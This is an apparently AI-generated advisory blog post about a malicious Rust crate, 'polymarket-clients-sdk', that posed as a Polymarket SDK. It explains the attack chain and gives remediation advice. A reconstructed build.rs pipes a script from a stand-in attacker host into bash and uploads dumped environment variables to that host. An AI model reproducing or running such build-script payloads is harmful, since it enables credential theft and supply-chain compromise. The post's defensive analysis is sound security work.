CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-382Q-FPQH-29F7

Betting on a Bad Horse: The Malicious `polymarket-clients-sdk` Crate

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 7, 2026·6 min read·37 visits

Executive Summary (TL;DR)

A malicious Rust crate impersonating the Polymarket SDK was discovered on crates.io. It executes arbitrary code immediately upon compilation, likely stealing environment variables and private keys. If you installed this, consider your machine compromised and your secrets stolen.

A classic supply chain attack targeting the Rust ecosystem. The package `polymarket-clients-sdk` appeared on crates.io, masquerading as an official SDK for the popular Polymarket prediction platform. Instead of helper functions for betting, it delivered a payload capable of exfiltrating credentials and compromising developer environments via malicious build scripts. This is a text-book example of Brandjacking combined with the inherent risks of arbitrary code execution during package installation.

The Hook: A Wolf in Sheep's Clothing

Picture this: You're a crypto-native developer. You want to build a bot to trade on the U.S. election odds on Polymarket. You open your terminal, feeling the "Blazingly Fast" energy of Rust coursing through your veins. You search crates.io for a client. You see polymarket-clients-sdk. It looks official. It sounds official. You run cargo add polymarket-clients-sdk.

Congratulations, you just got owned.

This package wasn't an SDK. It was a digital landmine. The attackers utilized Brandjacking—naming a package something incredibly specific and relevant to a high-value target (in this case, a prediction market moving millions of dollars) to trick developers into installing it. Unlike a typo-squat (like reqwest vs reqwests), this attack relies on the target simply not existing yet in the registry, allowing the attacker to claim the most obvious name for the library.

Why does this matter? Because in the world of crypto-development, the developer's machine is the treasury. It holds AWS keys, private signing keys, and mnemonic seeds. The attacker doesn't need to hack Polymarket servers; they just need to hack the people building on top of it.

The Flaw: It's Not a Bug, It's a Feature

Here is the dark irony of modern package management: we built systems designed to make code execution easy, and then we act surprised when code gets executed. The vulnerability here isn't a buffer overflow or a logic error in the code itself. It is CWE-506: Embedded Malicious Code.

The specific mechanism likely exploited here is Rust's build.rs file. For the uninitiated, Cargo (Rust's package manager) allows packages to include a build script that runs before the package is even linked to your project. This is intended for compiling C dependencies or generating code. However, it effectively gives any dependency immediate, unsandboxed Remote Code Execution (RCE) privileges on the developer's machine the moment they type cargo build.

There is no 'install' phase in Rust that is distinct from the 'build' phase in terms of safety. If you download a crate, Cargo compiles it. If Cargo compiles it, the build.rs runs. If the build.rs runs, the attacker owns your shell. It is the architectural equivalent of letting a stranger into your house to check the wiring, but leaving them alone in the room with your safe while you go make coffee.

The Code: Anatomy of a Build Script Attack

Since the crate has been nuked from orbit (deleted from crates.io), we cannot review the exact bytes of polymarket-clients-sdk. However, malicious crates in the Rust ecosystem follow a very predictable pattern. Below is a reconstruction of what the build.rs in such a package typically looks like.

The attacker creates a build.rs file at the root of the crate. This file is compiled and executed by Cargo automatically.

// build.rs - The file that runs during 'cargo build'
use std::process::Command;
use std::env;
 
fn main() {
    // 1. Detect the operating system
    if cfg!(target_os = "linux") || cfg!(target_os = "macos") {
        // 2. The payload: Curl a shell script and pipe it to bash
        // This is silent and runs with the user's permissions
        let _ = Command::new("sh")
            .arg("-c")
            .arg("curl -s https://evil-c2-server.xyz/payload.sh | bash")
            .output();
            
        // 3. Exfiltrate Environment Variables immediately
        let _ = Command::new("sh")
            .arg("-c")
            .arg("env > /tmp/.env_dump && curl -F file=@/tmp/.env_dump https://evil-c2-server.xyz/upload")
            .output();
    }
}

> [!WARNING] > The danger lies in the silence. > This code produces no output to the console during the build process unless the build script explicitly panics or the user runs cargo with extremely verbose flags. The developer sees "Compiling..." and then "Finished", essentially thanking the attacker for stealing their wallet.

The Exploit: From `cargo add` to Wallet Drain

Let's walk through the attack chain. It is terrifyingly simple and requires zero interaction from the victim beyond the initial installation.

  1. Preparation: The victim initializes a new Rust project cargo new trading-bot.
  2. Infection: The victim adds the malicious dependency: cargo add polymarket-clients-sdk.
  3. Trigger: The victim runs cargo run or cargo build to test their code.
  4. Execution: Cargo resolves the dependency graph. It downloads polymarket-clients-sdk. It identifies the build.rs file.
  5. Compromise: Cargo compiles and executes the build.rs binary. The malicious code spawns a child process.
  6. Exfiltration: The script scans ~/.aws/credentials, ~/.ssh/id_rsa, and the project's .env file. It sends these contents to a remote C2 server.

By the time the developer realizes the SDK doesn't actually contain any useful trading functions, their environment variables—containing their Polymarket API keys and potentially their private key or seed phrase—are already in the attacker's database. The attacker can then automate the draining of funds associated with those keys.

The Impact: Why This One Hurts

This isn't just a random npm package that prints a political message. This is targeted at the financial sector. Polymarket users deal in crypto assets. Developers building on Polymarket are likely to have:

  • Hot Wallets: Private keys stored locally for testing transactions.
  • API Keys: High-privilege exchange keys stored in .env files.
  • SSH Keys: Access to production servers where the actual trading bots run.

The impact is Total Compromise. If this package ran on your machine, you must assume every secret on that filesystem is burned. If this package made it into a CI/CD pipeline, your cloud infrastructure is likely compromised as well. The removal of the package from crates.io stops new victims, but it does nothing for those who already ran the build.

The Mitigation: Scorched Earth Policy

If you suspect you installed this package, simply removing it is not enough. The code has already run. Persistence may have been established (e.g., adding a cron job or modifying shell rc files).

Immediate Steps:

  1. Disconnect: Take the machine offline immediately.
  2. Purge: The safest course of action is to wipe the machine. If that is impossible, audit all running processes, cron jobs, and recent file modifications.
  3. Rotate Secrets: This is the most critical step. Revoke every API key, SSH key, and cloud credential that was present on the machine. Move funds to new wallets generated on a clean device.

Prevention for the Future:

  • Verify, then Trust: Do not blindly cargo add. Check the repository URL, the number of downloads, and the author's profile on crates.io.
  • Tools: Use tools like cargo-vet to certify dependencies within your organization.
  • Sandboxing: Build untrusted code in Docker containers with limited network access.
  • Lockfiles: Always commit your Cargo.lock to ensure consistent builds and prevent upstream mutations from silently entering your pipeline.

Official Patches

GitHub AdvisoryAdvisory detailing the removal of the package

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Affected Systems

Rust Development EnvironmentsCI/CD Pipelines building Rust projectsSystems with crates.io access

Affected Versions Detail

Product
Affected Versions
Fixed Version
polymarket-clients-sdk
Malicious Actor
*N/A (Removed)
AttributeDetail
Attack TypeSupply Chain / Malicious Package
CWE IDCWE-506 (Embedded Malicious Code)
PlatformRust / crates.io
Attack VectorNetwork (masquerading as legitimate software)
Mechanismbuild.rs arbitrary code execution
PrivilegesUser Level (inherits developer permissions)

MITRE ATT&CK Mapping

T1195.002Supply Chain Compromise: Compromise Software Supply Chain
Initial Access
T1059Command and Scripting Interpreter
Execution
T1566Phishing (Typosquatting/Brandjacking)
Initial Access
CWE-506
Embedded Malicious Code

Vulnerability Timeline

Malicious package identified and advisory published
2025-02-06
Package removed from crates.io registry
2025-02-06

References & Sources

  • [1]GHSA-382Q-FPQH-29F7 Advisory
  • [2]Rust Documentation: Build Scripts

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 8 hours ago•GHSA-PW6J-QG29-8W7F
5.9

GHSA-pw6j-qg29-8w7f: State Persistence and Sensitive Credential Leakage in Tornado CurlAsyncHTTPClient

A state persistence vulnerability exists in Tornado's CurlAsyncHTTPClient component where pooled pycurl.Curl handles are reused across asynchronous requests without a complete state reset. Consequently, sensitive per-request configurations, such as client TLS certificates or proxy basic authentication credentials, persist on the shared handle. This behavior leads to subsequent requests leaking these credentials to unauthorized remote servers.

Amit Schendel
Amit Schendel
5 views•7 min read
•about 8 hours ago•CVE-2026-48748
7.5

CVE-2026-48748: Netty HTTP/3 QPACK Blocked Streams Memory Exhaustion

CVE-2026-48748 is a denial-of-service vulnerability in Netty's HTTP/3 codec (netty-codec-http3) occurring when QPACK dynamic tables are enabled but the blocked streams limit is not explicitly configured. A bug in limit checking and a memory leak in stream tracking allow unauthenticated remote attackers to exhaust the JVM heap memory and crash the server.

Amit Schendel
Amit Schendel
7 views•6 min read
•about 9 hours ago•CVE-2026-50009
4.8

CVE-2026-50009: Stateless Reset Token Exposure in Netty QUIC

CVE-2026-50009 is a cryptographic design vulnerability in the Netty network application framework. Prior to version 4.2.15.Final, the framework's QUIC protocol implementation fails to cryptographically segregate the generated Connection IDs and the associated Stateless Reset Tokens. An on-path network attacker who sniffs traffic during a Connection ID rotation can extract secret token material from cleartext headers, enabling them to inject spoofed reset packets and terminate active connections.

Alon Barad
Alon Barad
6 views•6 min read
•about 9 hours ago•CVE-2026-50010
7.5

CVE-2026-50010: Hostname Verification Bypass in Netty TLS Client

A critical hostname verification bypass vulnerability exists in the Netty network application framework when configured as a TLS client. When a developer registers a custom plain X509TrustManager, Netty wraps it inside an X509TrustManagerWrapper to adapt it to the X509ExtendedTrustManager API. However, this wrapper discards the SSLEngine context, bypassing critical hostname checks. Because the wrapper is identified as an X509ExtendedTrustManager, standard cryptographic engines and Netty's OpenSSL wrappers do not re-wrap it, failing to execute any hostname validation. Consequently, clients silently accept certificates for any host, enabling unauthenticated Man-in-the-Middle (MitM) attacks.

Amit Schendel
Amit Schendel
7 views•8 min read
•about 10 hours ago•CVE-2026-50011
7.5

CVE-2026-50011: Unbounded Resource Pre-Allocation in Netty Redis Codec

An uncontrolled resource pre-allocation flaw in the Netty Redis codec module allows remote unauthenticated attackers to cause a denial of service (OutOfMemoryError) by sending a crafted Redis Serialization Protocol (RESP) array header.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 10 hours ago•CVE-2026-50020
5.3

CVE-2026-50020: HTTP Request Smuggling in Netty HttpObjectDecoder via Arbitrary Leading Control Bytes

CVE-2026-50020 is a medium-severity HTTP Request Smuggling/Response Smuggling vulnerability (CWE-444) within the Netty asynchronous network application framework. The flaw resides in Netty's HTTP codec implementation, specifically the HttpObjectDecoder class, which silently consumes arbitrary ISO control bytes preceding the first request line.

Alon Barad
Alon Barad
4 views•7 min read